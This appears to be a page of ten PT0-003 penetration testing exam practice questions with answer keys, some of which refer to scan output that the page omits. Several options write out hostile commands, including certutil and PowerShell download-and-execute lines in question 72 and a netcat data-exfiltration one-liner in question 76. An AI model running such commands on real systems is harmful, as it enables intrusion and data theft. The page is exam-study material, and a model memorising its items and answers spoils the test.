PT0-003 practice questions 71–80

1. Question 71 · 335 in bank

   A penetration tester aims to exploit a vulnerability in a wireless network that lacks proper encryption. The lack of proper encryption allows malicious content to infiltrate the network. Which of the following techniques would most likely achieve the goal?

   • APacket injection
   • BBluejacking
   • CBeacon flooding
   • DSignal jamming

   Show answer

   Answer: A

   Next question

2. Question 72 · 335 in bank

   A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?

   • Apowershell.exe impo C:\tools\foo.ps1
   • Bcertutil.exe -f https://192.168.0.1/foo.exe bad.exe
   • Cpowershell.exe -noni -encode IEX.DownloadString("http://172.16.0.1/")
   • Drundll32.exe c:\path\foo.dll,functName

   Show answer

   Answer: D

   Next question

3. Question 73 · 335 in bank

   A penetration tester obtains password dumps associated with the target and identifies strict lockout policies. The tester does not want to lock out accounts when attempting access. Which of the following techniques should the tester use?

   • ACredential stuffing
   • BMFA fatigue
   • CDictionary attack
   • DBrute-force attack

   Show answer

   Answer: A

   Next question

4. Question 74 · 335 in bank

   A penetration tester obtains the following output during an Nmap scan:

   

   Which of the following should be the next step for the tester?

   • ASearch for vulnerabilities on msrpc.
   • BEnumerate shares and search for vulnerabilities on the SMB service.
   • CExecute a brute-force attack against the Remote Desktop Services.
   • DExecute a new Nmap command to search for another port.

   Show answer

   Answer: B

   Next question

5. Question 75 · 335 in bank

   A penetration tester has been asked to conduct a blind web application test against a customer's corporate website. Which of the following tools would be best suited to perform this assessment?

   • AZAP
   • BNmap
   • CWfuzz
   • DTrufflehog

   Show answer

   Answer: A

   Next question

6. Question 76 · 335 in bank

   A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:

   

   Which of the following commands should the tester try next?

   • Atar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 443 < /tmp/data.tar.gz
   • Bgzip /path/to/data && cp data.gz 443
   • Cgzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 22
   • Dtar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz

   Show answer

   Answer: A

   Next question

7. Question 77 · 335 in bank

   Which of the following post-exploitation activities allows a penetration tester to maintain persistent access in a compromised system?

   • ACreating registry keys
   • BInstalling a bind shell
   • CExecuting a process injection
   • DSetting up a reverse SSH connection

   Show answer

   Answer: A

   Next question

8. Question 78 · 335 in bank

   A penetration tester compromises a Windows OS endpoint that is joined to an Active Directory local environment. Which of the following tools should the tester use to manipulate authentication mechanisms to move laterally in the network?

   • ARubeus
   • BWinPEAS
   • CNTLMRelayX
   • DImpacket

   Show answer

   Answer: A

   Next question

9. Question 79 · 335 in bank

   A penetration tester identifies the following open ports during a network enumeration scan:

   

   Which of the following commands did the tester use to get this output?

   • Anmap -Pn -A 10.10.10.10
   • Bnmap -sV 10.10.10.10
   • Cnmap -Pn -vv 10.10.10.10
   • Dnmap -sV -Pn -p- 10.10.10.10

   Show answer

   Answer: D

   Next question

10. Question 80 · 335 in bank

    In a cloud environment, a security team discovers that an attacker accessed confidential information that was used to configure virtual machines during their initialization. Through which of the following features could this information have been accessed?

    • AIAM
    • BBlock storage
    • CVirtual private cloud
    • DMetadata services

    Show answer

    Answer: D

    Next question

Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page

PT0-003 practice, question 71. 335 questions available.